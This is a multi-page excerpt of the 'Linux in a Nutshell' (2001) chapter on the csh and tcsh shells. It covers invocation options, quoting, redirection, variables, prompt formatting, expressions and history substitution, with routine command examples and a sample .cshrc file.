The tcsh shell includes all of the C shell features. In addition, it includes the following extensions to the C shell:

  • Command-line editing and editor commands

  • Word completion (tab completion)

  • Spell checking

  • Extended history commands

  • Extended handling of directory manipulation

  • Scheduled events -- such as logout or terminal locking after a set idle period and delayed commands

  • Additional shell built-ins

  • Additional shell variables and environment variables

  • New formatting sequences for the prompt string, as well as two new prompts (in loops and spelling correction)

  • Read-only variables

Previous | Home | Next
7.8. Job Control | Book Index | 8.2. Invoking the Shell
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Invoking the Shell (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

8.2. Invoking the Shell

A shell command interpreter can be invoked as follows:

csh  [options]  [arguments]
tcsh  [options]  [arguments]

csh and tcsh use syntax resembling C and execute commands from a terminal or a file. Options -n, -v, and -x are useful when debugging scripts.

8.2.1. Options

-b

Allow the remaining command-line options to be interpreted as options to a specified command, rather than as options to csh itself.

-c

Execute command specified following the argument.

-d

Load directory stack from ~/.cshdirs even if not a login shell. (tcsh)

-e

Exit if a command produces errors.

-f

Fast startup; start without executing .cshrc or .tcshrc.

-i

Invoke interactive shell (prompt for input).

-l

Login shell (must be the only option specified).

-m

Load ~/.tcshrc even if effective user is not the owner of the file. (tcsh)

-n

Parse commands, but do not execute.

-s

Read commands from the standard input.

-t

Exit after executing one command.

-v

Display commands before executing them; expand history substitutions, but not other substitutions (e.g., filename, variable, and command). Same as setting verbose.

-V

Same as -v, but also display .cshrc.

-x

Display commands before executing them, but expand all substitutions. Same as setting echo.

-X

Same as -x, but also display .cshrc.

8.2.2. Arguments

Arguments are assigned, in order, to the positional parameters $1, $2, and so on. If the first argument is an executable script, commands are read from it, and remaining arguments are assigned to $1, $2, and so forth.

Previous | Home | Next
8. csh and tcsh | Book Index | 8.3. Syntax
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Syntax (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

8.3. Syntax

This section describes the many symbols peculiar to csh and tcsh. The topics are arranged as follows:

  • Special files

  • Filename metacharacters

  • Quoting

  • Command forms

  • Redirection forms

8.3.1. Special Files

Filename | Description
~/.cshrc or ~/.tcshrc | Executed at each instance of shell startup. For tcsh, if no ~/.tcshrc, uses ~/.cshrc if present.
~/.login | Executed by login shell after .cshrc at login.
~/.cshdirs | Executed by login shell after .login (tcsh).
~/.logout | Executed by login shell at logout.
/etc/passwd | Source of home directories for ~name abbreviations.

8.3.2. Filename Metacharacters

Characters | Meaning
* | Match any string of 0 or more characters.
? | Match any single character.
[abc...] | Match any one of the enclosed characters; a hyphen can be used to specify a range (e.g., a-z, A-Z, 0-9).
{abc,xxx,...} | Expand each comma-separated string inside braces.
~ | Home directory for the current user.
~name | Home directory of user name.

8.3.2.1. Examples

% ls new*          Match new and new.1
% cat ch?          Match ch9 but not ch10
% vi [D-R]*        Match files that begin with uppercase D through R
% ls {ch,app}?     Expand, then match ch1, ch2, app1, app2
% cd ~tom          Change to tom's home directory

8.3.3. Quoting

Quoting disables a character's special meaning and allows it to be used literally, as itself. The following characters have special meaning to the C shell:

Characters | Description
; | Command separator
& | Background execution
( ) | Command grouping
| | Pipe
* ? [ ] ~ | Filename metacharacters
{ } | String expansion characters (usually don't require quoting)
> < & ! | Redirection symbols
! ^ | History substitution, quick substitution
" ' \ | Used in quoting other characters
` | Command substitution
$ | Variable substitution
newline space tab | Word separators

The characters that follow can be used for quoting:

" "

Everything between " and " is taken literally, except for the following characters, which keep their special meaning:

$

Variable substitution will occur.

`

Command substitution will occur.

"

This marks the end of the double quote.

\

Escape next character.

!

The history character.

newline

The newline character.

' '

Everything between ' and ' is taken literally except for ! (history) and another ', and newline.

\

The character following a \ is taken literally. Use within " " to escape ", $, and `. Often used to escape itself, spaces, or newlines. Always needed to escape a history character (usually !).

8.3.3.1. Examples

% echo 'Single quotes "protect" double quotes'
Single quotes "protect" double quotes

% echo "Well, isn't that "\""special?"\"
Well, isn't that "special"?

% echo "You have `ls|wc -l` files in `pwd`"
You have 43 files in /home/bob

% echo The value of \$x is $x
The value of $x is 100

8.3.4. Command Forms

Command | Action
cmd & | Execute cmd in background.
cmd1 ; cmd2 | Command sequence; execute multiple cmds on the same line.
(cmd1 ; cmd2) | Subshell; treat cmd1 and cmd2 as a command group.
cmd1 | cmd2 | Pipe; use output from cmd1 as input to cmd2.
cmd1 `cmd2` | Command substitution; run cmd2 first and use its output as arguments to cmd1.
cmd1 || cmd2 | OR; execute either cmd1 or (if cmd1 fails) cmd2.
cmd1 && cmd2 | AND; execute cmd1 and then (if cmd1 succeeds) cmd2.

8.3.4.1. Examples

% nroff file > output &               Format in the background
% cd; ls                              Execute sequentially
% (date; who; pwd) > logfile          All output is redirected
% sort file | pr -3 | lp              Sort file, page output, then print
% vi `grep -l ifdef *.c`              Edit files found by grep
% egrep '(yes|no)' `cat list`         Specify a list of files to search
% grep XX file && lp file             Print file if it contains the pattern
% grep XX file || echo XX not found   Echo an error message if XX not found

8.3.5. Redirection Forms

File Descriptor | Name | Common Abbreviation | Typical Default
0 | Standard input | stdin | Keyboard
1 | Standard output | stdout | Screen
2 | Standard error | stderr | Screen

The usual input source or output destination can be changed with redirection commands listed in the following sections.

8.3.5.1. Simple redirection

Command | Action
cmd > file | Send output of cmd to file (overwrite).
cmd >! file | Same as preceding, even if noclobber is set.
cmd >> file | Send output of cmd to file (append).
cmd>>! file | Same as preceding, even if noclobber is set.
cmd < file | Take input for cmd from file.
cmd << text | Read standard input up to a line identical to text (text can be stored in a shell variable). Input usually is typed on the screen or in the shell program. Commands that typically use this syntax include cat, echo, ex, and sed. If text is enclosed in quotes, standard input will not undergo variable substitution, command substitution, etc.

8.3.5.2. Multiple redirection

Command | Action
cmd >& file | Send both standard output and standard error to file.
cmd >&! file | Same as preceding, even if noclobber is set.
cmd >>& file | Append standard output and standard error to end of file.
cmd >>&! file | Same as preceding, even if noclobber is set.
cmd1 |& cmd2 | Pipe standard error together with standard output.
(cmd> f1) >& f2 | Send standard output to file f1 and standard error to file f2.
cmd | tee files | Send output of cmd to standard output (usually the screen) and to files. (See the example in Chapter 3, "Linux Commands" under tee.)

8.3.5.3. Examples

% cat part1 > book                               Copy part1 to book
% cat part2 part3 >> book                        Append parts 2 and 3 to same file as part1
% mail tim < report                              Take input to message from report
% cc calc.c >& error_out                         Store all messages, including errors
% cc newcalc.c >&! error_out                     Overwrite old file
% grep Unix ch* |& pr                            Pipe all messages, including errors
% (find / -print > filelist) >& no_access        Separate error messages from list of files
% sed 's/^/XX /' << "END_ARCHIVE"                Supply text right after command
This is often how a shell archive is "wrapped",
bundling text for distribution. You would normally
run sed from a shell program, not from the command line.
"END_ARCHIVE"

Previous | Home | Next
8.2. Invoking the Shell | Book Index | 8.4. Variables
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Variables (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

8.4. Variables

This subsection describes the following:

  • Variable substitution

  • Variable modifiers

  • Predefined shell variables

  • Formatting for the prompt variable

  • Sample .cshrc file

  • Environment variables

8.4.1. Variable Substitution

In the following substitutions, braces ({}) are optional, except when needed to separate a variable name from following characters that would otherwise be considered part of the name:

Variable | Description
${var} | The value of variable var.
${var[i]} | Select word or words in position i of var. i can be a single number, a range m-n, a range -n (missing m implies 1), a range m- (missing n implies all remaining words), or * (select all words). i also can be a variable that expands to one of these values.
${#var} | The number of words in var.
${#argv} | The number of arguments.
$0 | Name of the program.
${argv[n]} | Individual arguments on command line (positional parameters); 1 [image] n [image] 9.
${n} | Same as ${argv[n]}.
${argv[*]} | All arguments on command line.
$* | Same as {$argv[*]}.
$argv[$#argv] | The last argument.
${?var} | Return 1 if var is set, 0 if var is not set.
$$ | Process number of current shell; useful as part of a filename for creating temporary files with unique names.
${?name} | Return 1 if name is set, 0 if not.
$?0 | Return 1 if input filename is known, 0 if not.

8.4.1.1. Examples

Sort the third through last arguments and save the output in a file whose name is unique to this process:

sort $argv[3-] > tmp.$$

Process .cshrc commands only if the shell is interactive (i.e., the prompt variable must be set):

if ($?prompt) then
   set commands,
   alias commands,
   etc.
endif

8.4.2. Variable Modifiers

Except for $?var, $$, and $?0, the variable substitutions in the preceding section may be followed by one of these modifiers (when braces are used, the modifier goes inside them):

:r

Return the variable's root (the portion before the last dot).

:e

Return the variable's extension.

:h

Return the variable's header (the directory portion).

:t

Return the variable's tail (the portion after the last slash).

:gr

Return all roots.

:ge

Return all extensions.

:gh

Return all headers.

:gt

Return all tails.

:q

Quote a wordlist variable, keeping the items separate. Useful when the variable contains filename metacharacters that should not be expanded.

:x

Quote a pattern, expanding it into a wordlist.

8.4.2.1. Examples using pathname modifiers

The following table shows the use of pathname modifiers on the following variable:

set aa=(/progs/num.c /book/chap.ps)
Variable Portion | Specification | Output Result
Normal variable | echo $aa | /progs/num.c /book/chap.ps
Second root | echo $aa[2]:r | /book/chap
Second header | echo $aa[2]:h | /book
Second tail | echo $aa[2]:t | chap.ps
Second extension | echo $aa[2]:e | ps
Root | echo $aa:r | /progs/num /book/chap.ps
Global root | echo $aa:gr | /progs/num /book/chap
Header | echo $aa:h | /progs /book/chap.ps
Global header | echo $aa:gh | /progs /book
Tail | echo $aa:t | num.c /book/chap.ps
Global tail | echo $aa:gt | num.c chap.ps
Extension | echo $aa:e | c /book/chap.ps
Global extension | echo $aa:ge | c ps

8.4.2.2. Examples using quoting modifiers

Unless quoted, the shell expands variables to represent files in the current directory:

% set a="[a-z]*" A="[A-Z]*"
% echo "$a" "$A"
[a-z]* [A-Z]*

% echo $a $A
at cc m4 Book Doc

% echo $a:x $A
[a-z]* Book Doc

% set d=($a:q $A:q)
% echo $d
at cc m4 Book Doc

% echo $d:q
[a-z]* [A-Z]*

% echo $d[1] +++ $d[2]
at cc m4 +++ Book Doc

% echo $d[1]:q
[a-z]*

8.4.3. Predefined Shell Variables

Variables can be set in one of two ways, by assigning a value:

set var=value
or by simply turning the variable on:
set var

In the following list, variables that accept values are shown with the equals sign followed by the type of value they accept; the value then is described. (Note, however, that variables such as argv, cwd, or status are never explicitly assigned.) For variables that are turned on or off, the table describes what they do when set. tcsh automatically sets (and, in some cases, updates) the variables addsuffix, argv, autologout, cwd, dirstack, echo-style, edit, gid, home, loginsh, logout, oid, owd, path, prompt, prompt2, prompt3, shell, shlvl, status, tcsh, term, tty, uid, user, and version. Variables in italics are specific to tcsh.

Variable | Description
addsuffix | Append / to directories and a space to files during tab completion to indicate a precise match.
ampm | Display all times in 12-hour format.
argv=(args) | List of arguments passed to current command; default is ().
autocorrect | Check spelling before attempting to complete commands.
autoexpand | Expand history (such as ! references) during command completion.
autolist[=ambiguous] | Print possible completions when correct one is ambiguous. If ambiguous is specified, print possible completions only when completion adds no new characters.
autologout=logout-minutes [locking-minutes] | Log out after logout-minutes of idle time. Lock the terminal after locking-minutes of idle time, requiring a password before continuing. Not used if the DISPLAY environment variable is set.
backslash_quote | Always allow backslashes to quote \, ', and <">.
cdpath=dirs | List of alternate directories to search when locating arguments for cd, popd, or pushd.
color | Turn on color for ls-F, ls, or both. Setting to nothing is equivalent to setting for both.
command | If set, holds the command passed to the shell with the -c option.
complete=enhance | When enhance, ignore case in completion, treat ., -, and _ as word separators, and consider _ and - to be the same.
correct={cmd|complete|all} | When cmd, spellcheck commands. When complete, complete commands. When all, spellcheck whole command line.
cwd=dir | Full pathname of current directory.
dextract | When set, the pushd command extracts the desired directory and puts it at the top of the stack, instead of rotating the stack.
dirsfile=file | History file consulted by dirs -S and dirs -L. Default is ~/.cshdirs.
dirstack | Directory stack, in array format. dirstack[0] is always equivalent to cwd. The other elements can be artificially changed.
dspmbyte=code | Enable use of multibyte code; for use with Kanji. See the tcsh manpage for details.
dunique | Make sure that each directory exists only once in the stack.
echo | Redisplay each command line before execution; same as csh -x command.
echo_style={bsd|sysv|both|none} | Don't echo a newline with -n option (bsd) | parse escaped characters (sysv) | do both | do neither.
edit | Enable command-line editor.
ellipsis | For use with prompt variable. Represent skipped directories with ....
fignore=chars | List of filename suffixes to ignore during filename completion (see filec).
filec | If set, a filename that is partially typed on the command line can be expanded to its full name when Esc is pressed. If more than one filename would match, type EOF to list possible completions. Ignored in tcsh.
gid | User's group ID.
group | User's group name.
histchars=ab | A two-character string that sets the characters to use in history-substitution and quick- substitution (default is !^).
histdup={all|prev} | Maintain a record only of unique history events (all), or do not enter new event when it is the same as the previous one (prev).
histfile=file | History file consulted by history -S and history -L. Default is ~/.history.
histlit | Do not expand history lines when recalling them.
history=n format | The first word indicates the number of commands to save in the history list. The second indicates the format with which to display that list (tcsh only; see the prompt section for possible formats).
home=dir | Home directory of user, initialized from HOME. The ~ character is shorthand for this value.
ignoreeof | Ignore an end-of-file (EOF) from terminals; prevents accidental logout.
implicitcd | If directory name is entered as a command, cd to that directory. Can be set to verbose to echo the cd to standard output.
inputmode={insert|overwrite} | Control editor's mode.
listflags=flags | One or more of the x, a, or A options for the ls-F built-in command. Second word can be set to path for ls command.
listjobs=long | When a job is suspended, list all jobs (in long format, if specified).
listlinks | In ls -F command, include type of file to which links point.
listmax=num | Do not allow list-choices to print more than num choices before prompting.
listmaxrows=num | Do not allow list-choices to print more than num rows of choices before prompting.
loginsh | Set if shell is a login shell.
logout | Indicates status of an imminent logout (normal, automatic, or hangup).
mail=(n files) | One or more files checked for new mail every 5 minutes or (if n is supplied) every n seconds.
matchbeep={never|nomatch|ambiguous|notunique} | Specifies circumstances under which completion should beep: never, if no match exists, if multiple matches exist, or if multiple matches exist and one is exact.
nobeep | Disable beeping.
noclobber | Don't redirect output to an existing file; prevents accidental destruction of files.
noglob | Turn off filename expansion; useful in shell scripts.
nokanji | Disable Kanji (if supported).
nonomatch | Treat filename metacharacters as literal characters, if no match exists (e.g., vi ch* creates new file ch* instead of printing "No match").
nostat=directory-list | Do not stat directory-list during completion.
notify | Declare job completions when they occur.
owd | Old working directory.
path=(dirs) | List of pathnames in which to search for commands to execute. Initialized from PATH; the default is: . /usr/ucb /usr/bin
printexitvalue | Print all nonzero exit values.
prompt='str' | String that prompts for interactive input; default is %. See Section 8.4.4, "Formatting for the Prompt Variable" later in this chapter for formatting information.
prompt2='str' | String that prompts for interactive input in foreach and while loops and continued lines (those with escaped newlines). See Section 8.4.4, "Formatting for the Prompt Variable" for formatting information.
prompt3='str' | String that prompts for interactive input in automatic spelling correction. See Section 8.4.4, "Formatting for the Prompt Variable" for formatting information.
promptchars=cc | Use the two characters specified as cc with the %# prompt sequence to indicate normal users and the superuser, respectively.
pushdsilent | Do not print directory stack when pushd and popd are invoked.
pushdtohome | Change to home directory when pushd is invoked without arguments.
recexact | Consider completion to be concluded on first exact match.
recognize_only_executables | When command completion is invoked, print only executable files.
rmstar | Prompt before executing the command rm *.
rprompt=string | The string to print on the right side of the screen while the prompt is displayed on the left. Specify as for prompt.
savedirs | Execute dirs -S before exiting.
savehist=max [merge] | Execute history -S before exiting. Save no more than max lines of history. If specified, merge those lines with previous history saves, and sort by time.
sched=string | Format for sched's printing of events. See Section 8.4.4, "Formatting for the Prompt Variable" for formatting information.
shell=file | Pathname of the shell program currently in use; default is /bin/csh.
shlvl | Number of nested shells.
status=n | Exit status of last command. Built-in commands return 0 (success) or 1 (failure).
symlinks= {chase|ignore|expand} | Specify manner in which to deal with symbolic links. Expand them to real directory name in cwd (chase), treat them as real directories (ignore), or expand arguments that resemble pathnames (expand).
tcsh | Version of tcsh.
term | Terminal type.
time='n %c' | If command execution takes more than n CPU seconds, report user time, system time, elapsed time, and CPU percentage. Supply optional %c flags to show other data.
tperiod | Number of minutes between executions of periodic alias.
tty | Name of tty, if applicable.
uid | User ID.
user | Username.
verbose | Display a command after history substitution; same as the command csh -v.
version | Shell's version and additional information, including options set at compile time.
visiblebell | Flash screen instead of beeping.
watch=([n] user terminal...) | Watch for user logging in at terminal, where terminal can be a tty name or any. Check every n minutes or 10 by default.
who=string | Specify information to be printed by watch.
wordchars=chars | List of all nonalphanumeric characters that may be part of a word. Default is *?_-.[]~=.

8.4.4. Formatting for the Prompt Variable

tcsh provides a list of substitutions that can be used in formatting the prompt. (csh allows only plain-string prompts and the ! history substitution shown in the following list.) The list of available substitutions includes:

%%

Literal %

%/

The present working directory

%~

The present working directory, in ~ notation

%#

# for the superuser, > for others

%?

Previous command's exit status

%b

End boldfacing

%c[[0]n], %.[[0]n]

The last n (default 1) components of the present working directory; if 0 is specified, replace removed components with /<skipped>

%d

Day of the week (e.g., Mon, Tue)

%h, %!, !

Number of current history event

%l

Current tty

%m

First component of hostname

%n

Username

%p

Current time, with seconds (12-hour mode)

%s

End standout mode (reverse video)

%t, %@

Current time (12-hour format)

%u

End underlining

%w

Month (e.g., Jan, Feb)

%y

Year (e.g., 99, 00)

%B

Begin boldfacing

%C

Similar to %c, but uses full pathnames instead of ~ notation

%D

Day of month (e.g., 09, 10)

%M

Fully qualified hostname

%P

Current time, with seconds (24-hour format)

%S

Begin standout mode (reverse video)

%T

Current time (24-hour format)

%U

Begin underlining

%W

Month (e.g., 09, 10)

%Y

Year (e.g., 1999, 2000)

8.4.5. Sample .cshrc File

# PREDEFINED VARIABLES

set path=(~ ~/bin /usr/ucb /bin /usr/bin . )
set mail=(/usr/mail/tom)

if ($?prompt) then             # settings for interactive use
  set echo
  set noclobber ignoreeof

  set cdpath=(/usr/lib /usr/spool/uucp)
# Now I can type cd macros
# instead of cd /usr/lib/macros

  set history=100
  set prompt='tom \!% '         # includes history number
  set time=3

# MY VARIABLES

  set man1="/usr/man/man1"     # lets me do   cd $man1, ls $man1
  set a="[a-z]*"               # lets me do   vi $a
  set A="[A-Z]*"               # or           grep string $A

# ALIASES

  alias c "clear; dirs"        # use quotes to protect ; or |
  alias h "history|more"
  alias j jobs -l
  alias ls ls -sFC             # redefine ls command
  alias del 'mv \!* ~/tmp_dir' # a safe alternative to rm
endif

8.4.6. Environment Variables

The C shell maintains a set of environment variables, which are distinct from shell variables and aren't really part of the C shell. Shell variables are meaningful only within the current shell, but environment variables are exported automatically, making them available globally. For example, C-shell variables are accessible only to a particular script in which they're defined, whereas environment variables can be used by any shell scripts, mail utilities, or editors you might invoke.

Environment variables are assigned as follows:

setenv VAR value

By convention, environment variable names are all uppercase. You can create your own environment variables, or you can use the predefined environment variables that follow.

The following environment variables have corresponding C-shell variables. When either one changes, the value is copied to the other (italics means the variable is specific to tcsh):

GROUP

User's group name; same as group.

HOME

Home directory; same as home.

PATH

Search path for commands; same as path.

SHLVL

Number of nested shell levels; same as shlvl.

TERM

Terminal type; same as term.

USER

User's login name; same as user.

Other environment variables, which do not have corresponding shell variables, include the following (italics means the variable is specific to tcsh):

COLUMNS

Number of columns on terminal.

DISPLAY

Identifies user's display for the X Window System. If set, the shell doesn't set autologout.

EDITOR

Pathname to default editor. See also VISUAL.

HOST

Name of machine.

HOSTTYPE

Type of machine. Obsolete; will be removed eventually.

HPATH

Colon-separated list of directories to search for documentation.

LANG

Preferred language. Used for native language support.

LC_CTYPE

The locale, as it affects character handling. Used for native language support.

LINES

Number of lines on the screen.

LOGNAME

Another name for the USER variable.

MACHTYPE

Type of machine.

MAIL

The file that holds mail. Used by mail programs. This is not the same as the C-shell mail variable, which only checks for new mail.

NOREBIND

Printable characters not rebound. Used for native language support.

OSTYPE

Operating system.

PWD

The current directory; the value is copied from cwd.

REMOTEHOST

Machine name of remote host.

SHELL

Undefined by default; once initialized to shell, the two are identical.

TERMCAP

The file that holds the cursor-positioning codes for your terminal type. Default is /etc/termcap.

VENDOR

The system vendor.

VISUAL

Pathname to default full-screen editor. See also EDITOR.

Previous | Home | Next
8.3. Syntax | Book Index | 8.5. Expressions
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Expressions (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

8.5. Expressions

Expressions are used in @, if, and while statements to perform arithmetic, string comparisons, file testing, and so on. exit and set also specify expressions, as can the tcsh built-in command filetest. Expressions are formed by combining variables and constants with operators that resemble those in the C programming language. Operator precedence is the same as in C but can be remembered as follows:

  1. * / %

  2. + -

Group all other expressions inside parentheses. Parentheses are required if the expression contains <, >, &, or |.

8.5.1. Operators

Operators can be one of the following types:

8.5.1.1. Assignment operators

Operator | Description
= | Assign value.
+= -= | Reassign after addition/subtraction.
*= /= %= | Reassign after multiplication/division/remainder.
&= ^= |= | Reassign after bitwise AND/XOR/OR.
++ | Increment.
-- | Decrement.

8.5.1.2. Arithmetic operators

Operator | Description
* / % | Multiplication; integer division; modulus (remainder)
+ - | Addition; subtraction

8.5.1.3. Bitwise and logical operators

Operator | Description
~ | Binary inversion (one's complement).
! | Logical negation.
<< >> | Bitwise left shift; bitwise right shift.
& | Bitwise AND.
^ | Bitwise exclusive OR.
| | Bitwise OR.
&& | Logical AND.
|| | Logical OR.
{ command } | Return 1 if command is successful, 0 otherwise. Note that this is the opposite of command's normal return code. The $status variable may be more practical.

8.5.1.4. Comparison operators

Operator | Description
== != | Equality; inequality
<= >= | Less than or equal to; greater than or equal to
< > | Less than; greater than

8.5.1.5. File inquiry operators

Command substitution and filename expansion are performed on file before the test is performed. tcsh permits operators to be combined (e.g., -ef). The following is a list of the valid file inquiry operators:

Operator | Description
-d file | The file is a directory.
-e file | The file exists.
-f file | The file is a plain file.
-o file | The user owns the file.
-r file | The user has read permission.
-w file | The user has write permission.
-x file | The user has execute permission.
-z file | The file has 0 size.
! | Reverse the sense of any preceding inquiry.

Some additional operators specific to tcsh are:

Operator | Description
-b file | The file is a block special file.
-c file | The file is a character special file.
-g file | The file's set-group-ID bit is set.
-k file | The file's sticky bit is set.
-l file | The file is a symbolic link.
-L file | Apply any remaining operators to symbolic link, not the file it points to.
-p file | The file is a named pipe (FIFO).
-s file | The file has nonzero size.
-S file | The file is a socket special file.
-t file | file is a digit and is an open file descriptor for a terminal device.
-u file | The file's set-user-ID bit is set.
-X file | The file is executable and is in the path or is a shell built-in.

Finally, tcsh provides the following operators, which return other kinds of information:

Operator | Description
-A[:] file | Last time file was accessed, as the number of seconds since the Epoch. With a colon (:), the result is in timestamp format.
-C[:] file | Last time inode was modified. With a colon (:), the result is in timestamp format.
-D file | Device number.
-F file | Composite file identifier, in the form device:inode.
-G[:] file | Numeric group ID for the file. With a colon (:), the result is the group name if known; otherwise, the numeric group ID.
-I file | Inode number.
-L file | The name of the file pointed to by symbolic link file.
-M[:] file | Last time file was modified. With a colon (:), the result is in timestamp format.
-N file | Number of hard links.
-P[:] file | Permissions in octal, without leading 0. With a colon (:), the result includes a leading 0.
-P mode[:] file | Equivalent to -P file ANDed to mode. With a colon (:), the result includes a leading 0.
-U[:] file | Numeric user ID of the file's owner. With a colon (:), the result is the username if known, otherwise the numeric user ID.
-Z file | The file's size, in bytes.

8.5.2. Examples

The following examples show @ commands and assume n = 4:

Expression | Value of $x
@ x = ($n > 10 || $n < 5) | 1
@ x = ($n >= 0 && $n < 3) | 0
@ x = ($n << 2) | 16
@ x = ($n >> 2) | 1
@ x = $n % 2 | 0
@ x = $n % 3 | 1

The following examples show the first line of if or while statements:

Expression | Meaning
while ($#argv != 0) | While there are arguments . . .
if ($today[1] == <">Fri<">) | If the first word is "Fri". . .
if (-f $argv[1]) | If the first argument is a plain file. . .
if (! -d $tmpdir) | If tmpdir is not a directory. . .

Previous | Home | Next
8.4. Variables | Book Index | 8.6. Command History
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Command History (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

8.6. Command History

Previously executed commands are stored in a history list. The C shell lets you access this list so you can verify commands, repeat them, or execute modified versions of them. The history built-in command displays the history list; the predefined variables histchars and history also affect the history mechanism. There are four ways to use the history list:

  • Rerun a previous command

  • Make command substitutions

  • Make argument substitutions (replace specific words in a command)

  • Extract or replace parts of a command or word

The following subsections describe the csh tools for editing and rerunning commands. If you are running tcsh, you can use any of these features. In addition, you can use the arrow keys to move around in the command line and then use the editing features described in Section 8.7.5, "Command-Line Editing with tcsh" to modify the command. The tcsh arrow keys are:

Key | Description
Up arrow | Previous command.
Down arrow | Next command.
Left arrow | Move left in command line.
Right arrow | Move right in command line.

8.6.1. Command Substitution

Command | Description
! | Begin a history substitution.
!! | Previous command.
!N | Command number N in history list.
!-N | Nth command back from current command.
!string | Most recent command that starts with string.
!?string? | Most recent command that contains string.
!?string?% | Most recent command argument that contains string.
!$ | Last argument of previous command.
!!string | Previous command, then append string.
!N string | Command N, then append string.
!{s1}s2 | Most recent command starting with string s1, then append string s2.
^old^new^ | Quick substitution; change string old to new in previous command; execute modified command.

8.6.2. Command Substitution Examples

The following command is assumed:

%3 vi cprogs/01.c ch002 ch03
Event | Command | Command
Number | Typed | Executed
4 | ^00^0 | vi cprogs/01.c ch02 ch03
5 | nroff !* | nroff cprogs/01.c ch02 ch03
6 | nroff !$ | nroff ch03
7 | !vi | vi cprogs/01.c ch02 ch03
8 | !6 | nroff ch03
9 | !?01 | vi cprogs/01.c ch02 ch03
10 | !{nr}.new | nroff ch03.new
11 | !!|lp | nroff ch03.new | lp
12 | more !?pr?% | more cprogs/01.c

8.6.3. Word Substitution

Colons may precede any word specifier.

Specifier | Description
:0 | Command name
:n | Argument number n
^ | First argument
$ | Last argument
:n-m | Arguments n through m
-m | Words 0 through m same as :0-m
:n- | Arguments n through next-to-last
:n* | Arguments n through last; same as n-$
* | All arguments; same as ^-$ or 1-$
# | Current command line up to this point; fairly useless

8.6.4. Word Substitution Examples

The following command is assumed:

%13 cat ch01 ch02 ch03 biblio back
Event | Command | Command
Number | Typed | Executed
14 | ls !13^ | ls ch01
15 | sort !13:* | sort ch01 ch02 ch03 biblio back
16 | lp !cat:3* | more ch03 biblio back
17 | !cat:0-3 | cat ch01 ch02 ch03
18 | vi !-5:4 | vi biblio

8.6.5. History Modifiers

Command and word substitutions can be modified by one or more of the following modifiers:

8.6.5.1. Printing, substitution, and quoting

Modifier | Description
:p | Display command, but don't execute.
:s/old/new | Substitute string new for old, first instance only.
:gs/old/new | Substitute string new for old, all instances.
:& | Repeat previous substitution (:s or ^ command), first instance only.
:g& | Repeat previous substitution, all instances.
:q | Quote a wordlist.
:x | Quote separate words.

8.6.5.2. Truncation

Modifier | Description
:r | Extract the first available pathname root (the portion before the last period).
:gr | Extract all pathname roots.
:e | Extract the first available pathname extension (the portion after the last period).
:ge | Extract all pathname extensions.
:h | Extract the first available pathname header (the portion before the last slash).
:gh | Extract all pathname headers.
:t | Extract the first available pathname tail (the portion after the last slash).
:gt | Extract all pathname tails.
:u | Make first lowercase letter uppercase (tcsh only).
:l | Make first uppercase letter lowercase (tcsh only).
:a | Apply modifier(s) following a as many times as possible to a word. If used with g, a is applied to all words (tcsh only).

8.6.6. History Modifier Examples

From the preceding, command number 17 is:

%17 cat ch01 ch02 ch03
Event | Command | Command
Number | Typed | Executed
19 | !17:s/ch/CH/ | cat CH01 ch02 ch03
20 | !17g& | cat CH01 CH02 CH03
21 | !more:p | more cprogs/01.c (displayed only)
22 | cd !$:h | cd cprogs
23 | vi !mo:$:t | vi 01.c
24 | grep stdio !$ | grep stdio 01.c
25 | ^stdio^include stdio^:q | grep <">include stdio<"> 01.c
26 | nroff !21:t:p | nroff 01.c (is that what I wanted?)
27 | !! | nroff 01.c (execute it)

8.6.7. Special Aliases in tcsh

Certain special aliases can be set in tcsh. The aliases are initially undefined. Once set, they are executed when specific events occur. The following is a list of the special aliases:

beepcmd

At beep.

cwdcmd

When the current working directory changes.

periodic

Every few minutes. The exact amount of time is set by the tperiod shell variable.

precmd

Before printing a new prompt.

shell shell

If a script does not specify a shell, interpret it with shell, which should be a full pathname.

Previous | Home | Next
8.5. Expressions | Book Index | 8.7. Command-Line Manipulation
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Command-Line Manipulation (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

8.7. Command-Line Manipulation

csh and tcsh offer a certain amount of functionality in manipulating the command line. Both shells offer word or command completion, and tcsh allows you to edit a command line.

8.7.1. Completion

Both tcsh and csh provide word completion. tcsh automatically completes words and commands when the Tab key is hit; csh does so only when the filec variable is set, after the Esc key is hit. If the completion is ambiguous (i.e., more than one file matches the provided string), the shell completes as much as possible and beeps to notify you that the completion is not finished. You may request a list of possible completions with Ctrl-D. tcsh also notifies you when a completion is finished by appending a space to complete filenames or commands and a / to complete directories.

Both csh and tcsh recognize ~ notation for home directories. The shells assume that words at the beginning of a line and subsequent to |, &, ;, ||, or && are commands and modify their search paths appropriately. Completion can be done midword; only the letters to the left of the prompt are checked for completion.

8.7.2. Related Shell Variables

  • autolist

  • fignore

  • listmax

  • listmaxrows

8.7.3. Related Command-Line Editor Commands

  • complete-word-back

  • complete-word-forward

  • expand-glob

  • list-glob

8.7.4. Related Shell Built-ins

  • complete

  • uncomplete

8.7.5. Command-Line Editing with tcsh

tcsh lets you move your cursor around in the command line, editing the line as you type. There are two main modes for editing the command line, based on the two most common text editors: Emacs and vi. Emacs mode is the default; you can switch between the modes with:

bindkey -e     Select Emacs bindings
bindkey -v     Select vi bindings

The main difference between the Emacs and vi bindings is that the Emacs bindings are modeless (i.e., they always work). With the vi bindings, you must switch between insert and command modes; different commands are useful in each mode. Additionally:

  • Emacs mode is simpler; vi mode allows finer control.

  • Emacs mode allows you to yank cut text and set a mark; vi mode does not.

  • The command-history-searching capabilities differ.

8.7.5.1. Emacs mode

Table 8-1 through Table 8-3 describe the various editing keystrokes available in Emacs mode.

Table 8-1. Cursor Positioning Commands (Emacs Mode)

Command | Description
Ctrl-B | Move cursor back (left) one character.
Ctrl-F | Move cursor forward (right) one character.
Esc b | Move cursor back one word.
